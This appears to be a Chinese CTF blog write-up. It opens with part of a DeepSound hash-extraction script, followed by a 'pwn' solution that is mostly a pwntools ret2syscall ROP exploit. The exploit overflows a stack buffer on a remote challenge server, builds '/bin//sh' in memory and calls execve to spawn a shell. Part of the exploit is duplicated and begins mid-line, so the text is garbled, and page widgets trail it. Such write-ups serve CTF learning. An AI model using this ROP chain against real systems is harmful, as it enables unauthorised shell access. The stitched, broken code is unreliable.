 logger = logging.getLogger(bname)

 

 \# Check if it's a .wav file

 buf = f.read(12)

 if not is_wave(buf):

  global convert_warn

  logger.error('file not in .wav format')

  convert_warn = True

  return

 f.seek(0, os.SEEK_SET)

 \# Scan for the marker...

 hdrsz = 104

 hdr = None

 while True:

  off = f.tell()

  buf = f.read(hdrsz)

  if len(buf) < hdrsz: break

  if is_magic(buf):

​     hdr = decode_data_normal(buf)

​     logger.info('found DeepSound header at offset %i', off)break

  f.seek(-hdrsz + 1, os.SEEK_CUR)

 if hdr is None:

  logger.warn('does not appear to be a DeepSound file')

  return

 \# Check some header fields

 mode = hdr[4]

 encrypted = hdr[5]

 modes = {2: 'low', 4: 'normal', 8: 'high'}

 if mode in modes:

  logger.info('data is encoded in %s-quality mode', modes[mode])

 else:

  logger.error('unexpected data encoding mode %i', modes[mode])

  return

 if encrypted == 0:

  logger.warn('file is not encrypted')

  return

 elif encrypted != 1:

  logger.error('unexpected encryption flag %i', encrypted)

  return

 sha1 = hdr[6:6+20]

 print('%s:$dynamic_1529$%s' % (bname, sha1.hex()))

if __name__ == '__main__':

 import argparse

 parser = argparse.ArgumentParser()

 parser.add_argument('--verbose', '-v', action='store_true')

 parser.add_argument('files', nargs='+', metavar='file',

  type=argparse.FileType('rb', bufsize=4096))

 args = parser.parse_args()

 if args.verbose:

  logging.basicConfig(level=logging.INFO)

 else:

  logging.basicConfig(level=logging.WARN)

 convert_warn = False

 for f in args.files:

  process_deepsound_file(f)

 if convert_warn:

  print(textwrap.dedent.rstrip(), file=sys.stderr)

pwn

curious

去除了符号表,但是shift+f12一样找到主逻辑

分析得到是base64替换,读入的数据进行加密是B2GXEwvZ,这是因为题目换了字典序,因此将大小写反转,解码即可

img
img

主逻辑存在栈溢出,而且程序是静态编译,可以打ret2syscall l

from pwn import *

from struct import pack

context.os='linux'

elf = ELF("./pwn")

io = remote('182.92.237.102', 10031)

p = b''

p += pack('<Q', 0x000000000040f49e) # pop rsi ; ret

p += pack('<Q', 0x00000000004c20e0) # @ .data

p += pack('<Q', 0x0000000000452af7) # pop rax ; ret

p += b'/bin//sh'

p += pack('<Q', 0x0000000000483b85) # mov qword ptr [rsi], rax ; ret

p += pack('<Q', 0x000000000040f49e) # pop rsi ; ret

p += pack('<Q', 0x00000000004c20e8) # @ .data + 8

p += pack('<Q', 0x0000000000446ef9) # xor rax, rax ; ret

p += pack('<Q', 0x0000000000483b85) # mov qword ptr [rsi], rax ; ret

p += pack('<Q', 0x0000000000401912) # pop rdi ; ret

p += pack('<Q', 0x00000000004c20e0) # @ .data

p += pack('<Q', 0x000000000040f49e) # pop rsi ; ret

p += pack('<Q', 0x00000000004c20e8) # @ .data + 8

p += pack('<Q', 0x000000000040181f) # pop rdx ; ret

p += pack('<Q', 0x00000000004c20e8) # @ .data + 8

p += pack('<Q', 0x0000000000446ef9) # xor rax, rax ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004012d3) # syscall

payload = b"a" * 0x28 + p

io.send(b'oh1yes')

io.sendline(b'1')

io.sendline(payload)

io.interactive()
Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004788c0) # add rax, 1 ; ret

p += pack('<Q', 0x00000000004012d3) # syscall

payload = b"a" * 0x28 + p

io.send(b'oh1yes')

io.sendline(b'1')

io.sendline(payload)

io.interactive()
  • 3
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

lu-fe1

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值